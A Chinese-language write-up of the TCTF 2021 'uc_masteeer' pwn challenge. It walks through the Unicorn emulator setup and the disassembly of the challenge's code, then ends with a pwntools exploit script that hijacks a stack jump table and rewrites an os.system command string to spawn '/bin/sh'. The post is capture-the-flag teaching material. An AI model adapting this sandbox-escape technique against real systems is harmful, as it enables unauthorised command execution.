TCTF2021-uc_masteeer-WP

Posted on Aug 4, 2021

一道 Unicorn 的题目,之前没听说过这种东西,比赛的时候看都没看,现在来学习复现一下。

关于 unicorn,在看雪上有一篇 Unicorn 在 Android 的应用 写的很详细,这里参考该文章简单介绍一下。

Unicorn 是一个基于 qemu 的代码模拟执行框架,有许多优点,这里不多说。根据 unicorn 提供的 python 接口这里简单分析一下此题提供的 python 脚本的。

from unicorn import *

这一句导入了 unicorn 库

from unicorn.x86_const import *

这一句导入了 x86 架构相关的一些常量,比如寄存器常量,命名规则为

UC_ + 指令集 + _REG_ + 大写寄存器名(UC_X86_REG_EAXUC_X86_REG_RAX

每个架构都有对应的常量库

from unicorn.arm_const  import *
from unicorn.arm64_const import *
from unicorn.m68k_const import *
from unicorn.mips_const import *
from unicorn.sparc_const import *
from unicorn.x86_const import *

此脚本的主逻辑在 play 函数中

def play():
    uc = Uc(UC_ARCH_X86, UC_MODE_64)
    init(uc)

    data = os.read(0, 0x1000 - 0xd)
    data += b'\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08'
    uc.mem_write(CODE + 0x1000, data)

    try:
        uc.emu_start(CODE, CODE + 0x3000 - 1)
    except UcError as e:
        print("error...")

开头创建了一个 Uc 类变量 uc,并以 Uc(UC_ARCH_X86, UC_MODE_64) 初始化,这样就获得了一台 x86 架构的虚拟机,运行模式为 64 位。自然,如果需要 32 位的虚拟机,就可以用 UC_MODE_32 初始化。如果需要 arm 架构,就可以用 Uc(UC_ARCH_ARM, UC_MODE_ARM) 初始化。同时,在虚拟机执行的过程中,也有特殊的指令可以修改 mode。

然后进入 init 函数对 uc 进行了一些初始化

def init(uc):
    global writable

    uc.safe_mem_write = types.MethodType(_safe_mem_write, uc)

    uc.mem_map(CODE, 0x1000, UC_PROT_READ | UC_PROT_EXEC)
    uc.mem_write(CODE, b'\x90' * 0x1000)
    uc.mem_map(CODE + 0x1000, 0x1000, UC_PROT_ALL)
    uc.mem_write(CODE + 0x1000, b'\x90' * 0x1000)
    uc.mem_map(CODE + 0x2000, 0x1000, UC_PROT_READ | UC_PROT_EXEC)
    uc.mem_write(CODE + 0x2000, b'\x90' * 0x1000)
    uc.mem_write(CODE, MAIN)
    uc.mem_write(CODE + 0x2000, TAIL)
    uc.mem_write(CODE + 0x800, p64(CODE + 0xff0) + p64(CODE + 0x2000) + p64(CODE))

    uc.mem_map(STACK, 0x1000, UC_PROT_READ | UC_PROT_WRITE)
    uc.reg_write(UC_X86_REG_RSP, STACK + 0xf00)

    writable = (CODE + 0x1000, STACK)

    uc.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL) 
    # 所有的系统调用都由 hook_syscall 接管
    uc.hook_add(UC_HOOK_CODE, admin_hook, None, admin_offset, admin_offset + 1)
    uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)

这里主要做的就是虚拟地址的初始化和 hook。

uc 虚拟机需要有一段自己的虚拟地址空间才能存储数据运行,通过 mem_map 方法可以新映射一段虚拟地址段。通过 mem_write 方法可以向虚拟地址中写入数据。

hook_add 方法可以实现指令级的 hook。看名字大概就可以理解意思。

可以看出在这段代码中向虚拟内存中写入了一些机器码,这些机器码是硬编码的。可以用 keystone 把机器码转成汇编,比如这样

#!/usr/bin/env python3
# coding=utf-8
from capstone import *
from capstone.x86_const import *

MAIN = b'\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
TAIL = b'\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
ATTACH = b'\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08'

md = Cs(CS_ARCH_X86, CS_MODE_64)

print("main:")
for i in md.disasm(MAIN, 0x1000):
    print("%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))

print("tail:")
for i in md.disasm(TAIL, 0x3000):
    print("%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))

print("admin:")
for i in md.disasm(ADMIN, 0x1000):
    print("%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))

print("attach:")
for i in md.disasm(ATTACH, 0x1000):
    print("%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))

但是看汇编会比较痛苦,所以随便写了个程序把机器码写到了一个文件里,用 IDA 分析

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <elf.h>

#define ELF_ENTRY 0xDEADBEEF000

char PADDING[0x1000];
char MAIN_CODE[] = "\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3";
char TAIL_CODE[] = "\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3";
char ADMIN_CODE[] = "\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3";

int main()
{
    int uc_master_fd = open("./uc_master.elf", O_RDWR | O_CREAT);

    memset(PADDING, 0x90, 0x1000);
    memcpy(PADDING, MAIN_CODE, sizeof(MAIN_CODE));

    if (write(uc_master_fd, PADDING, 0x1000) == 0x1000)
    {
        puts("OK!");
    }

    memset(PADDING, 0x90, 0x1000);
    memcpy(PADDING, ADMIN_CODE, sizeof(ADMIN_CODE));
    if (write(uc_master_fd, PADDING, 0x1000) == 0x1000)
    {
        puts("OK!");
    }

    memset(PADDING, 0x90, 0x1000);
    memcpy(PADDING, TAIL_CODE, sizeof(TAIL_CODE));
    if (write(uc_master_fd, PADDING, 0x1000) == 0x1000)
    {
        puts("OK!");
    }
}

本来是准备按把 elf 补齐的,但是 elf 的格式信息和分区表之类的太麻烦了,干脆就之后在 IDA 中手动指定了

把这个文件拖到 IDA 里面,指定基地址为 0xDEADBEEF000,创建函数,F5 一下,就可以获得这一一个主逻辑

__int64 sub_DEADBEEF000()
{
  __int64 v0; // rdx
  __int64 v1; // rcx
  __int16 v3; // [rsp+Eh] [rbp-12h] BYREF
  __int64 v4; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h] BYREF

  v3 = 0;
  v4 = 0i64;
  v5 = 0i64;
  while ( 1 )
  {
    do_syscall(68i64, "Welcome to uc_masteeer\n1. admin test\n2. user test\n3. patch data\n?: ");
    do_syscall(2i64, &v3);
    if ( (_BYTE)v3 == '2' )
      break;
    if ( (_BYTE)v3 == '3' )
    {
      do_syscall(7i64, "addr: ");
      do_syscall(8i64, &v4);
      do_syscall(7i64, "size: ");
      do_syscall(8i64, &v5);
      if ( v5 <= 0xFF )
      {
        do_syscall(7i64, "data: ");
        do_syscall(v5, v4);
      }
    }
    else
    {
      if ( (_BYTE)v3 == '1' )
      {
        do_syscall(18i64, "Powerful admin >\n");
        return MEMORY[0xBABECAFE000]();
      }
      do_syscall(v1, v0);
    }
  }
  do_syscall(18i64, "Pathetic human >\n");
  return MEMORY[0xBABECAFE000]();
}

也就是有三个功能

  1. admin test:执行硬编码的 admin code
  2. user test:执行用户输入的 code
  3. patch data:可以修改栈区和 0xDEADBEEF000 + 0x1000 ~ 0xDEADBEEF000 + 0x2000 中的数据

在 unicorn 沙盒中可以任意代码执行,但是这对读取 flag 并无帮助。整个沙盒唯一向外暴露的只有 hook_mem_access 函数

def hook_mem_access(uc, access, address, size, value, user_data):
    global is_admin
    if is_admin and address == 0xbabecafe233:
        is_admin = False
        cmd = uc.mem_read(value, 0x100)
        if cmd.startswith(b'k33nlab'):
            os.system(cmd[7:cmd.index(0)].decode('utf-8'))

uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)

也就是虚拟机内每次对虚拟内存进行写操作时,都会触发这个 hook,当 is_adminaddress ==0xbabecafe233 两者成真时就会调用 system,调用的命令也是硬编码的,也就是

'k33nlabecho ',27h,'more important than knowledge.',27h,0

实际就是 echo 'more important than knowledge.',由于这一段地址我们可写,如果可以把这一句改写成 /bin/sh\x00 就可以 getshell 了。

但是注意到 hook_mem_access 中会把 is_admin 置假,而 admin_hook 才能将其置真

def admin_hook(uc, address, size, user_data):
    global is_admin
    is_admin = True
    uc.mem_write(CODE + 0x1000, ADMIN)

uc.hook_add(UC_HOOK_CODE, admin_hook, None, admin_offset, admin_offset + 1)

也就是每次执行到

      if ( (_BYTE)v3 == '1' )
      {
        do_syscall(18i64, "Powerful admin >\n");
        return MEMORY[0xBABECAFE000]();
      }

此处时,都会将 is_admin 置真,用硬编码覆写 code + 0x1000 段,然后通过栈上的跳表调用 code + 0x1000 中的 admin 函数,admin 函数主要就是 echo 'more important than knowledge.',这个函数会把 is_admin 改写为假。由于栈也是可写的,我们可以劫持跳表,让 return MEMORY[0xBABECAFE000](); 返回到 main 上,这样就可以保留 is_admin 为真,然后我们通过 patch 功能改写字符串 'k33nlabecho ',27h,'more important than knowledge.',27h,0'k33nlab/bin/sh\x00',然后再修改跳表,使指针指向 code + 0x1000,再调用 user test 就可以 getshell 了。

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

CODE = 0xdeadbeef000
STACK = 0xbabecafe000

#sh = remote("127.0.0.1", 1337)
sh = process(['python3', 'uc_masteeer.py'])

sh.send('\n')
sh.sendlineafter("?: ", '3')
sh.sendafter("addr: ", p64(STACK))
sh.sendafter("size: ", '\x08')
sh.sendafter("data: ", p64(CODE))

sh.sendlineafter("?: ", '1')

sh.sendlineafter("?: ", '3')
sh.sendafter("addr: ", p64(0xDEADBEF0053))
sh.sendafter("size: ", '\xF0')
sh.sendafter("data: ", 'k33nlab/bin/sh\x00')

sh.sendlineafter("?: ", '3')
sh.sendafter("addr: ", p64(STACK))
sh.sendafter("size: ", '\x08')
sh.sendafter("data: ", p64(CODE + 0x1000))

sh.sendlineafter("?: ", '2')

sh.interactive()

这场比赛还有一道 uc_goood,类似于这道题,只是把跳表移到了不可写的地方,预期解似乎是 qemu 的利用,出题人也表示会给出官方 wp,但是我没找到,能找到的好像只有 r3kapping 的非预期解,也就是通过机器码字节错位的方法来修改指令,看了一下大概理解了其意思。之后如果找到了官方 wp 我再考虑复现一下。